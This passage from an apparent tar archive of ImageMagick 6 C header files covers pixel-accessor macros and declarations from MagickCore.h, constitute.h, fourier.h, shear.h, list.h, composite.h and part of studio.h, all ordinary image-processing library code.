ClampToQuantum((pixel)->green) #define ClampPixelBlue(pixel) ClampToQuantum((pixel)->blue) #define ClampPixelIndex(indexes) ClampToQuantum(*(indexes)) #define ClampPixelOpacity(pixel) ClampToQuantum((pixel)->opacity) #define GetPixela(pixel) ((pixel)->green) #define GetPixelb(pixel) ((pixel)->blue) #define GetPixelAlpha(pixel) ((double) QuantumRange-(double) (pixel)->opacity) #define GetPixelBlack(indexes) (*(indexes)) #define GetPixelBlue(pixel) ((pixel)->blue) #define GetPixelCb(pixel) ((pixel)->green) #define GetPixelCr(pixel) ((pixel)->blue) #define GetPixelCyan(pixel) ((pixel)->red) #define GetPixelGray(pixel) ((pixel)->red) #define GetPixelGreen(pixel) ((pixel)->green) #define GetPixelIndex(indexes) (*(indexes)) #define GetPixelL(pixel) ((pixel)->red) #define GetPixelLabel(pixel) ((ssize_t) (pixel)->red) #define GetPixelMagenta(pixel) ((pixel)->green) #define GetPixelNext(pixel) ((pixel)+1) #define GetPixelOpacity(pixel) ((pixel)->opacity) #define GetPixelRed(pixel) ((pixel)->red) #define GetPixelRGB(pixel,packet) \ { \ (packet)->red=GetPixelRed((pixel)); \ (packet)->green=GetPixelGreen((pixel)); \ (packet)->blue=GetPixelBlue((pixel)); \ } #define GetPixelRGBO(pixel,packet) \ { \ (packet)->red=GetPixelRed((pixel)); \ (packet)->green=GetPixelGreen((pixel)); \ (packet)->blue=GetPixelBlue((pixel)); \ (packet)->opacity=GetPixelOpacity((pixel)); \ } #define GetPixelY(pixel) ((pixel)->red) #define GetPixelYellow(pixel) ((pixel)->blue) #define SetPixela(pixel,value) ((pixel)->green=(Quantum) (value)) #define SetPixelAlpha(pixel,value) \ ((pixel)->opacity=(Quantum) ((double) QuantumRange-(double) (value))) #define SetPixelb(pixel,value) ((pixel)->blue=(Quantum) (value)) #define SetPixelBlack(indexes,value) (*(indexes)=(Quantum) (value)) #define SetPixelBlue(pixel,value) ((pixel)->blue=(Quantum) (value)) #define SetPixelCb(pixel,value) ((pixel)->green=(Quantum) (value)) #define SetPixelCr(pixel,value) ((pixel)->blue=(Quantum) (value)) #define SetPixelCyan(pixel,value) ((pixel)->red=(Quantum) (value)) #define SetPixelGray(pixel,value) \ ((pixel)->red=(pixel)->green=(pixel)->blue=(Quantum) (value)) #define SetPixelGreen(pixel,value) ((pixel)->green=(Quantum) (value)) #define SetPixelIndex(indexes,value) (*(indexes)=(IndexPacket) (value)) #define SetPixelL(pixel,value) ((pixel)->red=(Quantum) (value)) #define SetPixelMagenta(pixel,value) ((pixel)->green=(Quantum) (value)) #define SetPixelOpacity(pixel,value) ((pixel)->opacity=(Quantum) (value)) #define SetPixelRed(pixel,value) ((pixel)->red=(Quantum) (value)) #define SetPixelRgb(pixel,packet) \ { \ SetPixelRed(pixel,(packet)->red); \ SetPixelGreen(pixel,(packet)->green); \ SetPixelBlue(pixel,(packet)->blue); \ } #define SetPixelRGBA(pixel,packet) \ { \ SetPixelRed(pixel,(packet)->red); \ SetPixelGreen(pixel,(packet)->green); \ SetPixelBlue(pixel,(packet)->blue); \ SetPixelAlpha(pixel,(QuantumRange-(packet)->opacity)); \ } #define SetPixelRGBO(pixel,packet) \ { \ SetPixelRed(pixel,(packet)->red); \ SetPixelGreen(pixel,(packet)->green); \ SetPixelBlue(pixel,(packet)->blue); \ SetPixelOpacity(pixel,(packet)->opacity); \ } #define SetPixelYellow(pixel,value) ((pixel)->blue=(Quantum) (value)) #define SetPixelY(pixel,value) ((pixel)->red=(Quantum) (value)) static inline MagickRealType AbsolutePixelValue(const MagickRealType x) { return(x < 0.0 ? -x : x); } static inline Quantum ClampPixel(const MagickRealType value) { if (value < 0.0) return((Quantum) 0); if (value >= (MagickRealType) QuantumRange) return((Quantum) QuantumRange); #if !defined(MAGICKCORE_HDRI_SUPPORT) return((Quantum) (value+0.5)); #else return((Quantum) value); #endif } static inline double PerceptibleReciprocal(const double x) { double sign; /* Return 1/x where x is perceptible (not unlimited or infinitesimal). */ sign=x < 0.0 ? -1.0 : 1.0; if ((sign*x) >= MagickEpsilon) return(1.0/x); return(sign/MagickEpsilon); } static inline MagickRealType GetPixelLuma( const Image *magick_restrict image,const PixelPacket *magick_restrict pixel) { MagickRealType intensity; (void) image; intensity=(MagickRealType) (0.212656f*pixel->red+0.715158f*pixel->green+ 0.072186f*pixel->blue); return(intensity); } static inline MagickRealType GetPixelLuminance( const Image *magick_restrict image,const PixelPacket *magick_restrict pixel) { MagickRealType intensity; if (image->colorspace != sRGBColorspace) { intensity=(MagickRealType) (0.212656f*pixel->red+0.715158f*pixel->green+ 0.072186f*pixel->blue); return(intensity); } intensity=(MagickRealType) (0.212656*DecodePixelGamma((MagickRealType) pixel->red)+0.715158*DecodePixelGamma((MagickRealType) pixel->green)+ 0.072186*DecodePixelGamma((MagickRealType) pixel->blue)); return(intensity); } static inline void GetPixelPacketRGBA(const Quantum red,const Quantum green, const Quantum blue,const Quantum opacity,PixelPacket *magick_restrict pixel) { pixel->red=red; pixel->green=green; pixel->blue=blue; pixel->opacity=opacity; } static inline MagickBooleanType IsPixelAtDepth(const Quantum pixel, const QuantumAny range) { Quantum quantum; if (range == 0) return(MagickTrue); #if !defined(MAGICKCORE_HDRI_SUPPORT) quantum=(Quantum) (((MagickRealType) QuantumRange*((QuantumAny) (((MagickRealType) range*pixel)/QuantumRange+0.5)))/range+0.5); #else quantum=(Quantum) (((MagickRealType) QuantumRange*((QuantumAny) (((MagickRealType) range*(MagickRealType) pixel)/(MagickRealType) QuantumRange+ 0.5)))/(MagickRealType) range); #endif return(pixel == quantum ? MagickTrue : MagickFalse); } static inline MagickBooleanType IsPixelGray(const PixelPacket *pixel) { MagickRealType green_blue, red_green; red_green=(MagickRealType) pixel->red-(MagickRealType) pixel->green; green_blue=(MagickRealType) pixel->green-(MagickRealType) pixel->blue; if (((QuantumScale*AbsolutePixelValue(red_green)) < MagickEpsilon) && ((QuantumScale*AbsolutePixelValue(green_blue)) < MagickEpsilon)) return(MagickTrue); return(MagickFalse); } static inline MagickBooleanType IsPixelMonochrome( const PixelPacket *pixel) { MagickRealType green_blue, red, red_green; red=(MagickRealType) pixel->red; if ((AbsolutePixelValue(red) >= MagickEpsilon) && (AbsolutePixelValue(red-(double) QuantumRange) >= MagickEpsilon)) return(MagickFalse); red_green=(MagickRealType) pixel->red-(double) pixel->green; green_blue=(MagickRealType) pixel->green-(double) pixel->blue; if (((QuantumScale*AbsolutePixelValue(red_green)) < MagickEpsilon) && ((QuantumScale*AbsolutePixelValue(green_blue)) < MagickEpsilon)) return(MagickTrue); return(MagickFalse); } static inline Quantum PixelPacketIntensity(const PixelPacket *pixel) { MagickRealType intensity; if ((pixel->red == pixel->green) && (pixel->green == pixel->blue)) return(pixel->red); intensity=(MagickRealType) (0.212656f*pixel->red+0.715158f*pixel->green+ 0.072186f*pixel->blue); return(ClampToQuantum(intensity)); } static inline void SetPixelViaMagickPixel(const Image *magick_restrict image, const MagickPixelPacket *magick_restrict magick_pixel, PixelPacket *magick_restrict pixel) { pixel->red=ClampToQuantum(magick_pixel->red); pixel->green=ClampToQuantum(magick_pixel->green); pixel->blue=ClampToQuantum(magick_pixel->blue); if (image->matte != MagickFalse) pixel->opacity=ClampToQuantum(magick_pixel->opacity); } #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/MagickCore.h 0000644 00000011122 15246445046 0012464 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore Application Programming Interface declarations. */ #ifndef MAGICKCORE_CORE_H #define MAGICKCORE_CORE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if !defined(MAGICKCORE_CONFIG_H) # define MAGICKCORE_CONFIG_H # if !defined(vms) && !defined(macintosh) # include "magick/magick-config.h" # else # include "magick-config.h" # endif #if defined(_magickcore_const) && !defined(const) # define const _magickcore_const #endif #if defined(_magickcore_inline) && !defined(inline) # define inline _magickcore_inline #endif #if !defined(magick_restrict) # if !defined(_magickcore_restrict) # define magick_restrict restrict # else # define magick_restrict _magickcore_restrict # endif #endif # if defined(__cplusplus) || defined(c_plusplus) # undef inline # endif #endif #define MAGICKCORE_CHECK_VERSION(major,minor,micro) \ ((MAGICKCORE_MAJOR_VERSION > (major)) || \ ((MAGICKCORE_MAJOR_VERSION == (major)) && \ (MAGICKCORE_MINOR_VERSION > (minor))) || \ ((MAGICKCORE_MAJOR_VERSION == (major)) && \ (MAGICKCORE_MINOR_VERSION == (minor)) && \ (MAGICKCORE_MICRO_VERSION >= (micro)))) #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <stdint.h> #include <math.h> #include <sys/types.h> #include <time.h> #if defined(WIN32) || defined(WIN64) # define MAGICKCORE_WINDOWS_SUPPORT #else # define MAGICKCORE_POSIX_SUPPORT #endif #include "magick/method-attribute.h" #if defined(MAGICKCORE_NAMESPACE_PREFIX) # include "magick/methods.h" #endif #include "magick/magick-type.h" #include "magick/animate.h" #include "magick/annotate.h" #include "magick/artifact.h" #include "magick/attribute.h" #include "magick/blob.h" #include "magick/cache.h" #include "magick/cache-view.h" #include "magick/channel.h" #include "magick/cipher.h" #include "magick/client.h" #include "magick/coder.h" #include "magick/color.h" #include "magick/colorspace.h" #include "magick/colormap.h" #include "magick/compare.h" #include "magick/composite.h" #include "magick/compress.h" #include "magick/configure.h" #include "magick/constitute.h" #include "magick/decorate.h" #include "magick/delegate.h" #include "magick/deprecate.h" #include "magick/display.h" #include "magick/distort.h" #include "magick/distribute-cache.h" #include "magick/draw.h" #include "magick/effect.h" #include "magick/enhance.h" #include "magick/exception.h" #include "magick/feature.h" #include "magick/fourier.h" #include "magick/fx.h" #include "magick/gem.h" #include "magick/geometry.h" #include "magick/hashmap.h" #include "magick/histogram.h" #include "magick/identify.h" #include "magick/image.h" #include "magick/image-view.h" #include "magick/layer.h" #include "magick/list.h" #include "magick/locale_.h" #include "magick/log.h" #include "magick/magic.h" #include "magick/magick.h" #include "magick/matrix.h" #include "magick/memory_.h" #include "magick/module.h" #include "magick/mime.h" #include "magick/monitor.h" #include "magick/montage.h" #include "magick/morphology.h" #include "magick/opencl.h" #include "magick/option.h" #include "magick/paint.h" #include "magick/pixel.h" #include "magick/pixel-accessor.h" #include "magick/policy.h" #include "magick/prepress.h" #include "magick/profile.h" #include "magick/property.h" #include "magick/quantize.h" #include "magick/quantum.h" #include "magick/registry.h" #include "magick/random_.h" #include "magick/resample.h" #include "magick/resize.h" #include "magick/resource_.h" #include "magick/segment.h" #include "magick/shear.h" #include "magick/signature.h" #include "magick/splay-tree.h" #include "magick/static.h" #include "magick/stream.h" #include "magick/statistic.h" #include "magick/string_.h" #include "magick/timer.h" #include "magick/token.h" #include "magick/transform.h" #include "magick/threshold.h" #include "magick/type.h" #include "magick/utility.h" #include "magick/version.h" #include "magick/vision.h" #include "magick/visual-effects.h" #include "magick/xml-tree.h" #include "magick/xwindow.h" #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/constitute.h 0000644 00000003036 15246445046 0012666 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image constitute methods. */ #ifndef MAGICKCORE_CONSTITUTE_H #define MAGICKCORE_CONSTITUTE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedPixel, CharPixel, DoublePixel, FloatPixel, IntegerPixel, LongPixel, QuantumPixel, ShortPixel } StorageType; extern MagickExport Image *ConstituteImage(const size_t,const size_t,const char *,const StorageType, const void *,ExceptionInfo *), *PingImage(const ImageInfo *,ExceptionInfo *), *PingImages(const ImageInfo *,ExceptionInfo *), *ReadImage(const ImageInfo *,ExceptionInfo *), *ReadImages(const ImageInfo *,ExceptionInfo *), *ReadInlineImage(const ImageInfo *,const char *,ExceptionInfo *); extern MagickExport MagickBooleanType WriteImage(const ImageInfo *,Image *), WriteImages(const ImageInfo *,Image *,const char *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/fourier.h 0000644 00000002611 15246445046 0012136 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore discrete Fourier transform (DFT) methods. */ #ifndef MAGICKCORE_FFT_H #define MAGICKCORE_FFT_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedComplexOperator, AddComplexOperator, ConjugateComplexOperator, DivideComplexOperator, MagnitudePhaseComplexOperator, MultiplyComplexOperator, RealImaginaryComplexOperator, SubtractComplexOperator } ComplexOperator; extern MagickExport Image *ComplexImages(const Image *,const ComplexOperator,ExceptionInfo *), *ForwardFourierTransformImage(const Image *,const MagickBooleanType, ExceptionInfo *), *InverseFourierTransformImage(const Image *,const Image *, const MagickBooleanType,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/shear.h 0000644 00000002155 15246445046 0011570 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image stream methods. */ #ifndef MAGICKCORE_SHEAR_H #define MAGICKCORE_SHEAR_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport Image *DeskewImage(const Image *,const double,ExceptionInfo *), *IntegralRotateImage(const Image *,size_t,ExceptionInfo *), *ShearImage(const Image *,const double,const double,ExceptionInfo *), *ShearRotateImage(const Image *,const double,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/list.h 0000644 00000004460 15246445046 0011442 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image list methods. */ #ifndef MAGICKCORE_LIST_H #define MAGICKCORE_LIST_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport Image *CloneImageList(const Image *,ExceptionInfo *), *CloneImages(const Image *,const char *,ExceptionInfo *), *DestroyImageList(Image *), *DuplicateImages(Image *,const size_t,const char *,ExceptionInfo *), *GetFirstImageInList(const Image *) magick_attribute((__pure__)), *GetImageFromList(const Image *,const ssize_t) magick_attribute((__pure__)), *GetLastImageInList(const Image *) magick_attribute((__pure__)), *GetNextImageInList(const Image *) magick_attribute((__pure__)), *GetPreviousImageInList(const Image *) magick_attribute((__pure__)), **ImageListToArray(const Image *,ExceptionInfo *), *NewImageList(void) magick_attribute((__const__)), *RemoveImageFromList(Image **), *RemoveLastImageFromList(Image **), *RemoveFirstImageFromList(Image **), *SpliceImageIntoList(Image **,const size_t,const Image *), *SplitImageList(Image *), *SyncNextImageInList(const Image *); extern MagickExport size_t GetImageListLength(const Image *) magick_attribute((__pure__)); extern MagickExport ssize_t GetImageIndexInList(const Image *) magick_attribute((__pure__)); extern MagickExport void AppendImageToList(Image **,const Image *), DeleteImageFromList(Image **), DeleteImages(Image **,const char *,ExceptionInfo *), InsertImageInList(Image **,Image *), PrependImageToList(Image **,Image *), ReplaceImageInList(Image **,Image *), ReplaceImageInListReturnLast(Image **,Image *), ReverseImageList(Image **), SyncImageList(Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/composite.h 0000644 00000006312 15246445046 0012467 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image composite methods. */ #ifndef MAGICKCORE_COMPOSITE_H #define MAGICKCORE_COMPOSITE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedCompositeOp, NoCompositeOp, ModulusAddCompositeOp, AtopCompositeOp, BlendCompositeOp, BumpmapCompositeOp, ChangeMaskCompositeOp, ClearCompositeOp, ColorBurnCompositeOp, ColorDodgeCompositeOp, ColorizeCompositeOp, CopyBlackCompositeOp, CopyBlueCompositeOp, CopyCompositeOp, CopyCyanCompositeOp, CopyGreenCompositeOp, CopyMagentaCompositeOp, CopyOpacityCompositeOp, CopyRedCompositeOp, CopyYellowCompositeOp, DarkenCompositeOp, DstAtopCompositeOp, DstCompositeOp, DstInCompositeOp, DstOutCompositeOp, DstOverCompositeOp, DifferenceCompositeOp, DisplaceCompositeOp, DissolveCompositeOp, ExclusionCompositeOp, HardLightCompositeOp, HueCompositeOp, InCompositeOp, LightenCompositeOp, LinearLightCompositeOp, LuminizeCompositeOp, MinusDstCompositeOp, ModulateCompositeOp, MultiplyCompositeOp, OutCompositeOp, OverCompositeOp, OverlayCompositeOp, PlusCompositeOp, ReplaceCompositeOp, SaturateCompositeOp, ScreenCompositeOp, SoftLightCompositeOp, SrcAtopCompositeOp, SrcCompositeOp, SrcInCompositeOp, SrcOutCompositeOp, SrcOverCompositeOp, ModulusSubtractCompositeOp, ThresholdCompositeOp, XorCompositeOp, /* These are new operators, added after the above was last sorted. * The list should be re-sorted only when a new library version is * created. */ DivideDstCompositeOp, DistortCompositeOp, BlurCompositeOp, PegtopLightCompositeOp, VividLightCompositeOp, PinLightCompositeOp, LinearDodgeCompositeOp, LinearBurnCompositeOp, MathematicsCompositeOp, DivideSrcCompositeOp, MinusSrcCompositeOp, DarkenIntensityCompositeOp, LightenIntensityCompositeOp, HardMixCompositeOp, StereoCompositeOp } CompositeOperator; /* Deprecated (renamed) Method Names for backward compatibility * However the CompositeOp value has not changed, just renamed. */ #define AddCompositeOp ModulusAddCompositeOp #define SubtractCompositeOp ModulusSubtractCompositeOp #define MinusCompositeOp MinusDstCompositeOp #define DivideCompositeOp DivideDstCompositeOp extern MagickExport MagickBooleanType CompositeImage(Image *,const CompositeOperator,const Image *,const ssize_t, const ssize_t), CompositeImageChannel(Image *,const ChannelType,const CompositeOperator, const Image *,const ssize_t,const ssize_t), TextureImage(Image *,const Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/studio.h 0000644 00000024612 15246445046 0011777 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore private application programming interface declarations. */ #ifndef MAGICKCORE_STUDIO_H #define MAGICKCORE_STUDIO_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if defined(WIN32) || defined(WIN64) # define MAGICKCORE_WINDOWS_SUPPORT #else # define MAGICKCORE_POSIX_SUPPORT #endif #define MAGICKCORE_IMPLEMENTATION 1 #if !defined(MAGICKCORE_CONFIG_H) # define MAGICKCORE_CONFIG_H # if !defined(vms) && !defined(macintosh) # include "magick/magick-config.h" # else # include "magick-config.h" # endif #if defined(MAGICKCORE__FILE_OFFSET_BITS) && !defined(_FILE_OFFSET_BITS) # define _FILE_OFFSET_BITS MAGICKCORE__FILE_OFFSET_BITS #endif #if defined(_magickcore_const) && !defined(const) # define const _magickcore_const #endif #if defined(_magickcore_inline) && !defined(inline) # define inline _magickcore_inline #endif # if defined(__cplusplus) || defined(c_plusplus) # undef inline # endif #endif #if defined(MAGICKCORE_NAMESPACE_PREFIX) # include "magick/methods.h" #endif #if !defined(const) # define STDC #endif /* Define to 1 if assertions should be disabled. */ #if defined(MAGICKCORE_NDEBUG) #define NDEBUG 1 #endif #include <stdarg.h> #include <stdio.h> #if defined(MAGICKCORE_HAVE_SYS_STAT_H) # include <sys/stat.h> #endif #if defined(MAGICKCORE_STDC_HEADERS) # include <stdlib.h> # include <stddef.h> #else # if defined(MAGICKCORE_HAVE_STDLIB_H) # include <stdlib.h> # endif #endif #if !defined(magick_restrict) # if !defined(_magickcore_restrict) # define magick_restrict restrict # else # define magick_restrict _magickcore_restrict # endif #endif #if defined(MAGICKCORE_HAVE_STRING_H) # if !defined(STDC_HEADERS) && defined(MAGICKCORE_HAVE_MEMORY_H) # include <memory.h> # endif # include <string.h> #endif #if defined(MAGICKCORE_HAVE_STRINGS_H) # include <strings.h> #endif #if defined(MAGICKCORE_HAVE_INTTYPES_H) # include <inttypes.h> #endif #if defined(MAGICKCORE_HAVE_STDINT_H) # include <stdint.h> #endif #if defined(MAGICKCORE_HAVE_UNISTD_H) # include <unistd.h> #endif #if defined(MAGICKCORE_WINDOWS_SUPPORT) && defined(_DEBUG) #define _CRTDBG_MAP_ALLOC #endif #if defined(MAGICKCORE_WINDOWS_SUPPORT) # include <io.h> #if !defined(__CYGWIN__) # include <direct.h> #endif # if !defined(MAGICKCORE_HAVE_STRERROR) # define HAVE_STRERROR # endif #endif #include <ctype.h> #include <locale.h> #include <errno.h> #include <fcntl.h> #include <math.h> #include <time.h> #include <limits.h> #include <signal.h> #include <assert.h> #if defined(MAGICKCORE_HAVE_XLOCALE_H) # include <xlocale.h> #endif #if defined(MAGICKCORE_THREAD_SUPPORT) # include <pthread.h> #endif #if defined(MAGICKCORE_WINDOWS_SUPPORT) #if !defined(__CYGWIN__) #include <winsock2.h> #include <ws2tcpip.h> #endif #include <windows.h> #ifdef _MSC_VER #pragma comment (lib, "ws2_32.lib") #endif #endif #if defined(MAGICKCORE_HAVE_SYS_SYSLIMITS_H) # include <sys/syslimits.h> #endif #if defined(MAGICKCORE_HAVE_ARM_LIMITS_H) # include <arm/limits.h> #endif #if defined(MAGICKCORE_HAVE_CL_CL_H) && !defined(MAGICK_PIXEL_RGBA) # define MAGICKCORE_OPENCL_SUPPORT 1 #endif #if defined(MAGICKCORE_HAVE_OPENCL_CL_H) && !defined(MAGICK_PIXEL_RGBA) # define MAGICKCORE_OPENCL_SUPPORT 1 #endif #if defined(_OPENMP) && ((_OPENMP >= 200203) || defined(__OPENCC__)) # include <omp.h> # define MAGICKCORE_OPENMP_SUPPORT 1 #endif #if defined(MAGICKCORE_HAVE_PREAD) && defined(MAGICKCORE_HAVE_DECL_PREAD) && !MAGICKCORE_HAVE_DECL_PREAD ssize_t pread(int,void *,size_t,off_t); #endif #if defined(MAGICKCORE_HAVE_PWRITE) && defined(MAGICKCORE_HAVE_DECL_PWRITE) && !MAGICKCORE_HAVE_DECL_PWRITE ssize_t pwrite(int,const void *,size_t,off_t); #endif #if defined(MAGICKCORE_HAVE_STRLCPY) && defined(MAGICKCORE_HAVE_DECL_STRLCPY) && !MAGICKCORE_HAVE_DECL_STRLCPY extern size_t strlcpy(char *,const char *,size_t); #endif #if defined(MAGICKCORE_HAVE_VSNPRINTF) && defined(MAGICKCORE_HAVE_DECL_VSNPRINTF) && !MAGICKCORE_HAVE_DECL_VSNPRINTF extern int vsnprintf(char *,size_t,const char *,va_list); #endif #include "magick/method-attribute.h" #if defined(MAGICKCORE_WINDOWS_SUPPORT) || defined(MAGICKCORE_POSIX_SUPPORT) # include <sys/types.h> # include <sys/stat.h> # if defined(MAGICKCORE_POSIX_SUPPORT) # if defined(MAGICKCORE_HAVE_SYS_NDIR_H) || defined(MAGICKCORE_HAVE_SYS_DIR_H) || defined(MAGICKCORE_HAVE_NDIR_H) # define dirent direct # define NAMLEN(dirent) (dirent)->d_namlen # if defined(MAGICKCORE_HAVE_SYS_NDIR_H) # include <sys/ndir.h> # endif # if defined(MAGICKCORE_HAVE_SYS_DIR_H) # include <sys/dir.h> # endif # if defined(MAGICKCORE_HAVE_NDIR_H) # include <ndir.h> # endif # else # include <dirent.h> # define NAMLEN(dirent) strlen((dirent)->d_name) # endif # include <sys/wait.h> # include <pwd.h> # endif # if !defined(S_ISDIR) # define S_ISDIR(mode) (((mode) & S_IFMT) == S_IFDIR) # endif # if !defined(S_ISREG) # define S_ISREG(mode) (((mode) & S_IFMT) == S_IFREG) # endif # include "magick/magick-type.h" # if !defined(MAGICKCORE_WINDOWS_SUPPORT) # include <sys/time.h> # if defined(MAGICKCORE_HAVE_SYS_TIMES_H) # include <sys/times.h> # endif # if defined(MAGICKCORE_HAVE_SYS_RESOURCE_H) # include <sys/resource.h> # endif # if defined(MAGICKCORE_HAVE_SYS_MMAN_H) # include <sys/mman.h> # endif # if defined(MAGICKCORE_HAVE_SYS_SENDFILE_H) # include <sys/sendfile.h> # endif # if defined(MAGICKCORE_HAVE_SYS_SOCKET_H) # include <sys/socket.h> # endif # if defined(MAGICKCORE_HAVE_SYS_UIO_H) # include <sys/uio.h> # endif #endif #else # include <types.h> # include <stat.h> # if defined(macintosh) # if !defined(DISABLE_SIOUX) # include <SIOUX.h> # include <console.h> # endif # include <unix.h> # endif # include "magick/magick-type.h" #endif #if defined(S_IRUSR) && defined(S_IWUSR) # define S_MODE (S_IRUSR | S_IWUSR) #elif defined (MAGICKCORE_WINDOWS_SUPPORT) # define S_MODE (_S_IREAD | _S_IWRITE) #else # define S_MODE 0600 #endif #if defined(MAGICKCORE_WINDOWS_SUPPORT) # include "magick/nt-base.h" #endif #if defined(macintosh) # include "magick/mac.h" #endif #if defined(vms) # include "magick/vms.h" #endif #undef HAVE_CONFIG_H #undef gamma #undef index #undef pipe #undef y1 /* Review these platform specific definitions. */ #if ( defined(MAGICKCORE_POSIX_SUPPORT) && !defined(__OS2__) ) && !defined( __VMS ) # define DirectorySeparator "/" # define DirectoryListSeparator ':' # define EditorOptions " -title \"Edit Image Comment\" -e vi" # define Exit exit # define IsBasenameSeparator(c) ((c) == '/' ? MagickTrue : MagickFalse) # define X11_PREFERENCES_PATH "~/." # define ProcessPendingEvents(text) # define ReadCommandlLine(argc,argv) # define SetNotifyHandlers #else # if defined(vms) # define X11_APPLICATION_PATH "decw$system_defaults:" # define DirectorySeparator "" # define DirectoryListSeparator ';' # define EditorOptions "" # define Exit exit # define IsBasenameSeparator(c) \ (((c) == ']') || ((c) == ':') || ((c) == '/') ? MagickTrue : MagickFalse) # define MAGICKCORE_LIBRARY_ABSOLUTE_PATH "sys$login:" # define MAGICKCORE_SHARE_PATH "sys$login:" # define X11_PREFERENCES_PATH "decw$user_defaults:" # define ProcessPendingEvents(text) # define ReadCommandlLine(argc,argv) # define SetNotifyHandlers # endif # if defined(__OS2__) # define DirectorySeparator "\\" # define DirectoryListSeparator ';' # define EditorOptions " -title \"Edit Image Comment\" -e vi" # define Exit exit # define IsBasenameSeparator(c) \ (((c) == '/') || ((c) == '\\') ? MagickTrue : MagickFalse) # define PreferencesDefaults "~\." # define ProcessPendingEvents(text) # define ReadCommandlLine(argc,argv) # define SetNotifyHandlers #endif # if defined(macintosh) # define X11_APPLICATION_PATH "/usr/lib/X11/app-defaults/" # define DirectorySeparator ":" # define DirectoryListSeparator ';' # define EditorOptions "" # define IsBasenameSeparator(c) ((c) == ':' ? MagickTrue : MagickFalse) # define MAGICKCORE_LIBRARY_ABSOLUTE_PATH "" # define MAGICKCORE_SHARE_PATH "" # define X11_PREFERENCES_PATH "~/." # if defined(DISABLE_SIOUX) # define ReadCommandlLine(argc,argv) # define SetNotifyHandlers \ SetFatalErrorHandler(MacFatalErrorHandler); \ SetErrorHandler(MACErrorHandler); \ SetWarningHandler(MACWarningHandler) # else # define ReadCommandlLine(argc,argv) argc=ccommand(argv); puts(MagickVersion); # define SetNotifyHandlers \ SetErrorHandler(MACErrorHandler); \ SetWarningHandler(MACWarningHandler) # endif # endif # if defined(MAGICKCORE_WINDOWS_SUPPORT) # define DirectorySeparator "\\" # define DirectoryListSeparator ';' # define EditorOptions "" # define IsBasenameSeparator(c) \ (((c) == '/') || ((c) == '\\') ? MagickTrue : MagickFalse) # define ProcessPendingEvents(text) # if !defined(X11_PREFERENCES_PATH) # define X11_PREFERENCES_PATH "~\\." # endif # define ReadCommandlLine(argc,argv) # define SetNotifyHandlers \ SetErrorHandler(NTErrorHandler); \ SetWarningHandler(NTWarningHandler) # if !defined(MAGICKCORE_HAVE_TIFFCONF_H) # define HAVE_TIFFCONF_H # endif # endif #endif /* Define system symbols if not already defined. */ #if !defined(STDIN_FILENO) #define STDIN_FILENO 0x00 #endif #if !defined(O_BINARY) 